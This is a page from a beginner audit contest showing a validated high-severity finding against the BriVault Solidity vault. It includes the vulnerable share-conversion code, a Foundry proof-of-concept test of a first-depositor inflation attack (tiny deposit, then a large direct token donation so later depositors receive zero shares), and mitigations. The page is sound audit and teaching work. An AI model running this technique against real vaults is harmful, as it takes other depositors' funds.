BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

First depositor attack

0xnetero

Root + Impact

Description

  • Attacker can manipulate share price by being first depositor with minimal amount, then donating large amount of asset tokens directly

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
​
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
// @audit first depositor attack
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood: Low

  • The protocol has a minimum amount of deposit, so this attack only feasible if attacker has a large amount of asset token and can manage to be the first depositor

Impact:

  • Subsequent depositors get 0 shares due to rounding

Proof of Concept

  • Add this setup to setUp() function in briVault.t.sol

mockToken.mint(attacker, 100_000_000_000 ether);

  • Then add this test case

function test_first_depositor_attack() public {
uint256 depositAmount = 0.0003 ether;
​
// attacker deposits minimum amount of asset
vm.startPrank(attacker);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, attacker);
​
// attacker donates large amount of asset tokens
mockToken.transfer(address(briVault), 90_000_000_000 ether + 1);
​
// subsequent depositors get 0 shares due to rounding
assertEq(briVault.balanceOf(user1), 0);
​
vm.startPrank(user1);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, user1);
vm.stopPrank();
​
assertEq(briVault.balanceOf(user1), 0);
}

Recommended Mitigation

  • The minimum deposit amount requirement partially fix this issue

  • Protocol could be the first depositor and deposit enough assets into the vault such that doing this attack would be too expensive

  • Or adding virtual liquidity to _convertToShares() logic

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!